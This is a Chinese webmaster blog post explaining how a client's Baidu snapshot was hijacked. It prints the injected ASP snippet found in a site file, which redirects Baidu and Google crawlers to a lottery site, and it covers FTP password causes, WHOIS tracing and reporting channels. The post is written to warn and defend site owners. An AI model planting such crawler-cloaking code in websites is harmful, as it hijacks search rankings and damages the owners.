黑客是怎么篡改百度快照的?

寫本篇文章的目的在于揭露一種黑客作弊的手段,也給那些疏于企業(yè)網(wǎng)站安全的站長提一個醒。同時提供一種追找黑客行蹤的簡單方法。
前幾日,我的客戶電話說自己的百度排名沒有了,查詢下竟然百度標簽顯示的內容是一家彩票平臺的網(wǎng)站內容。 我知道網(wǎng)站被黑客加入了非法代碼,惡意篡改了百度快照。(截圖如下)
查看“百度快照”出現(xiàn)的是一組跳轉網(wǎng)站的廣告內容。我們對客戶設置的網(wǎng)站信息消失了。
1、黑客是如何修改百度快照的呢?
我進行了排查,客戶的網(wǎng)站是使用asp源碼開發(fā)的。發(fā)現(xiàn)有個文件被黑客寫入了一段代碼。
路徑:Inc文件夾—SysProduct.asp文件里面最底下添加了如下代碼:
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
Response.Redirect "http://*********"(跳轉的網(wǎng)站,引導百度抓取的內容)
else
'
Response.Write""
end if
%>
黑客設置的這串代碼導致百度爬蟲抓取網(wǎng)頁的時候,直接抓取越過客戶網(wǎng)站抓取了跳轉網(wǎng)站內容,導致百度快照里面顯示的是別的內容。使得客戶本來排名首頁的網(wǎng)站直接被百度屏蔽了。造成了客戶很大的損失。
2、那么黑客是如何進入后臺的呢?
黑客要進入后臺,必須知道FTP賬戶和密碼,以及IP地址。
造成的原因有如下幾種:
1)一方面是FTP密碼設置的時候比較簡單化,很容易被利用軟件破解掉,
2)另一方面選擇便宜的空間也是一種隱患。因為空間IP以及用戶名是很難被知道的,除非有人提供。
3、網(wǎng)站被黑之后,你如何追查黑客的來源?
方法比較簡單,就是查詢你跳轉的目標網(wǎng)站的域名信息。一般情況下,都是一些小型的站長開發(fā)的賺錢網(wǎng)站,通過查詢域名信息你可以獲知該域名的歸屬人是誰,他有可能就是黑你網(wǎng)站的人。
如果是比較大型的網(wǎng)站利用外包的方式進行推廣,那么你也可以得知負責人,給百度或者是網(wǎng)絡警察舉報一下,該網(wǎng)站存在惡意攻擊修改內容的行為,畢竟它也有一定得責任。
通過中國萬網(wǎng)Whois域名查詢:比如我客戶跳轉的彩票網(wǎng)站的域名信息如下:
1)第一個是:注冊人
2)第二個是:聯(lián)系電話
3)第三個是:聯(lián)系郵箱
基本上你聯(lián)系注冊人就可以解決問題。如果對你客戶造成的損失太大的話,建議你通過以下方式進行維權:
違法和不良信息舉報中心:http://net.china.cn/
12321網(wǎng)絡不良與垃圾信息舉報受理中心:http://www.12321.cn/
國家互聯(lián)網(wǎng)應急中心網(wǎng)絡安全舉報中心:http://www.cert.org.cn/
中國反釣魚網(wǎng)站聯(lián)盟認定及處理流程: http://www.cnnic.cn/
公安部信息網(wǎng)絡安全報警網(wǎng)站:http:// http://www.cnnic.cn/
中國掃黃打非網(wǎng):http://www.shdf.gov.cn/
北京市公安局網(wǎng)絡違法犯罪舉報網(wǎng)站:http://www.bj.cyberpolice.cn/index.jsp
希望本篇文章對你防黑有幫助。
相關文章
- 百度取消了百度快照時間后怎么交換友情鏈接?之前我們交換友情鏈接的時候,都先看一下百度快照的日期,但是現(xiàn)在百度搜索引擎取消百度快照后,我們交換友情鏈接應該注意哪些2015-12-16
- 百度官方在元宵節(jié)當天宣布取消百度快照,標志著百度延續(xù)多年的百度快照時代就此終結,同時針對“百度快照到底與網(wǎng)站優(yōu)化之間有何微妙關系”這一問題也是不了了之,從此站長2015-03-17
- 今天打開電腦,習慣性的每天檢查網(wǎng)站在百度的數(shù)據(jù)情況,發(fā)現(xiàn)今天百度把快照時間取消了,取而代之的是“百度快照”的字符,目前發(fā)現(xiàn)只有百度百科還會顯示快照時間,其它的都2015-03-06
- 為什么百度快照總是收錄舊照片?當我們不能瀏覽網(wǎng)頁的時候,百度會把這個照片放出來,讓大家看見你的網(wǎng)站是什么樣子的。(快照是網(wǎng)站之前的內容,不是現(xiàn)在的狀態(tài))快照更新的2014-12-22
- 搜索引擎在收錄網(wǎng)頁時,對網(wǎng)頁進行備份存在自己的服務器緩存里,當用戶點擊“網(wǎng)頁快照”鏈接時,搜索引擎將Spider系統(tǒng)當時所抓取并保存的網(wǎng)頁內容展現(xiàn)出來,稱為“網(wǎng)頁快照2014-11-02
- 百度快照倒退最大的原因就是你觸發(fā)了百度對SEO的懲罰底線,也就是說,搜索引擎認為你過度優(yōu)化了網(wǎng)站,所以進行懲罰,所以快照就倒退到你優(yōu)化前的時間。既然找到原因了,就2014-10-24
百度優(yōu)化 導致百度快照優(yōu)化收錄不穩(wěn)定的5個因素及解決辦法
收錄決定網(wǎng)站的生死存亡,沒有收錄量就沒有發(fā)言權,但是很多人會發(fā)現(xiàn)百度中收錄并不不穩(wěn)定的,本片文章就從五個方面分析百度收錄不穩(wěn)定的原因,需要的朋友可以參考下2014-09-15- 對于百度快照的問題,真的是不知道說過多少次了,還是有很多站長在關心這個問題2013-12-22
- 關于百度快照不更新的問題,小編整理了些資料希望對也有百度快照不更新的朋友有所幫助!2013-03-11
百度快照沒有抓取title和description標簽的原因及解決方法
最近發(fā)現(xiàn)很多SEO愛好者提出這么一個問題:百度快照沒有抓取title和description標簽2012-12-13